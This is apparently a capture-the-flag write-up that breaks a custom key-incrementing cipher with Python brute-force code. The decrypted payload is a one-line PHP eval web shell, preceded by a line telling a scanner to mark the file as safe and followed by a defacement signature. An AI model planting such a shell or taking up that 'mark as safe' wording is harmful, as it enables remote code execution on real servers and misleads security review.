100 138 138 119 20 126 130 134 118 20 142 118 130 140 120 102 20 145 150 20 110 139 116 157 144 141 20 133 168 2O 166 129 138 135 92 20 120 126 152 135 150 64 126 159 116 137 80 72 108 142 138 168 96 78 130 105 126 119 106 117 128 139 134 190 100 123 100 101 78 186 82 118 94 94 144 130 134 150 138 136 64 132 178 64 130 152 152 130 208 134 164 102 174 20 94 94 140 164 138 138 64 160 130 152 138 166 168 146 156 130 66 66 66 66 66 66 66 66 66 20 126 124
From the encryption algorithm and given cipher text, we can make the following observations:

[*] Key range is 1 to (length(ciphertext) * 2)
[*] If key >= 127 or key > ascii_code_of_char(plain_text), plain_text = (cipher_text)/ 2
[*] Even if key < 127, there is a possibility that key++ operation may result in key > 127 at some point
[*] Cipher text has odd numbers, so key didn't start with value >= 127
[*] 101 at index 67 is the last odd number. So incase if key became >= 127, it should be after this
>>> cipher = [100,138,138,119,20,126,130,134,118,20,142,118,130,140,120,102,20,145,150,20,110,139,116,157,144,141,20,133,168,20,166,129,138,135,92,20,120,126,152,135,150,64,126,159,116,137,80,72,108,142,138,168,96,78,130,105,126,119,106,117,128,139,134,190,100,123,100,101,78,186,82,118,94,94,144,130,134,150,138,136,64,132,178,64,130,152,152,130,208,134,164,102,174,20,94,94,140,164,138,138,64,160,130,152,138,166,168,146,156,130,66,66,66,66,66,66,66,66,66,20,126,124]
 
>>> cipher.index(101)
67
>>> for i in cipher[68:]:
...     plain += chr(i/2)
... 
>>> print plain
']);//HACKED BY ALLAhCR3W
//FREE PALESTINA!!!!!!!!!
?>
As per the observation, we have managed to retrieve the partial plain text and we can say that key should be a value < 60 (127 - 67). Now we can bruteforce to find the possible solution. Here is the code to do that:
#!/usr/bin/env python
# decrypt.py

cipher = [100,138,138,119,20,126,130,134,118,20,142,118,130,140,120,102,20,145,150,20,110,139,116,157,144,141,20,133,168,20,166,129,138,135,92,20,120,126,152,135,150,64,126,159,116,137,80,72,108,142,138,168,96,78,130,105,126,119,106,117,128,139,134,190,100,123,100,101,78,186,82,118,94,94,144,130,134,150,138,136,64,132,178,64,130,152,152,130,208,134,164,102,174,20,94,94,140,164,138,138,64,160,130,152,138,166,168,146,156,130,66,66,66,66,66,66,66,66,66,20,126,124]

def dec(cipher):
    for key in xrange(1,60): # reduced key range
        plain = [[] for x in xrange(len(cipher))]
        for id,c in enumerate(cipher):
            for p in [9,10,13] + range(32,127):  # printables
                if (p + (p % key)) == c:
                    plain[id].append(chr(p))
            key = key + 1
        if [] not in plain:
            print plain

dec(cipher)
[ctf@renorobert allahakbar]# python decrypt.py 
[['C', 'T'], ['h'], ['i', '{'], ['s'], ['\n'], ['f'], ['i', '}'], ['l'], ['P', 'e'], ['\n'], ['s'], ['h'], ['X', 'o'], ['u'], ['T', 'l'], ['d'], ['\n'], ['b'], ['e'], ['\n'], ['R', 'm'], ['a'], ['V', 'r'], ['k'], ['e'], ['d'], ['\n'], ['a'], ['s'], ['\n'], ['s'], ['a'], ['f'], ['e'], ['.', 'P'], ['\n'], ['<', '_'], ['?'], ['p'], ['h'], ['p'], [' '], ['?', 'e'], ['v'], [':', 'a'], ['l'], ['(', 'P'], ['$'], ['6', '_'], ['G'], ['E', 'o'], ['T'], ['0', '['], ["'"], ['A', 'm'], ['a'], ['?', 'l'], ['i'], ['5', 'c'], ['i'], ['@', 'o'], ['u'], ['C', 's'], ['_'], ['2', 'c'], ['o'], ['2', 'd'], ['e'], ["'"], [']'], [')'], [';'], ['/'], ['/'], ['H', '~'], ['A'], ['C', 'z'], ['K'], ['E', '}'], ['D'], [' '], ['B'], ['Y'], [' '], ['A', '|'], ['L'], ['L'], ['A'], ['h'], ['C'], ['R'], ['3'], ['W'], ['\n'], ['/'], ['/'], ['F'], ['R'], ['E'], ['E'], [' '], ['P'], ['A'], ['L'], ['E'], ['S'], ['T'], ['I'], ['N'], ['A'], ['!'], ['!'], ['!'], ['!'], ['!'], ['!'], ['!'], ['!'], ['!'], ['\n'], ['?'], ['>']]
We have the plain text but there are some collisions. Pick the values that makes sense, this is not too hard.
>>> plain = ['T','h','i','s','\n','f','i','l','e','\n','s','h','o','u','l','d','\n','b','e','\n','m','a','r','k','e','d','\n','a','s','\n','s','a','f','e','.','\n','<','?','p','h','p',' ','e','v','a','l','(','$','_','G','E','T','[',"'",'m','a','l','i','c','i','o','u','s','_','c','o','d','e',"'",']',')',';','/','/','H','A','C','K','E','D',' ','B','Y',' ','A','L','L','A','h','C','R','3','W','\n','/','/','F','R','E','E',' ','P','A','L','E','S','T','I','N','A','!','!','!','!','!','!','!','!','!','\n','?','>']
>>> print ''.join(i for i in plain)
This
file
should
be
marked
as
safe.
<?php eval($_GET['malicious_code']);//HACKED BY ALLAhCR3W
//FREE PALESTINA!!!!!!!!!
?>
Write this to a file and find its md5sum. Flag for the challenge is : d191bd74bef3f2ce2c2f0c7f311018c3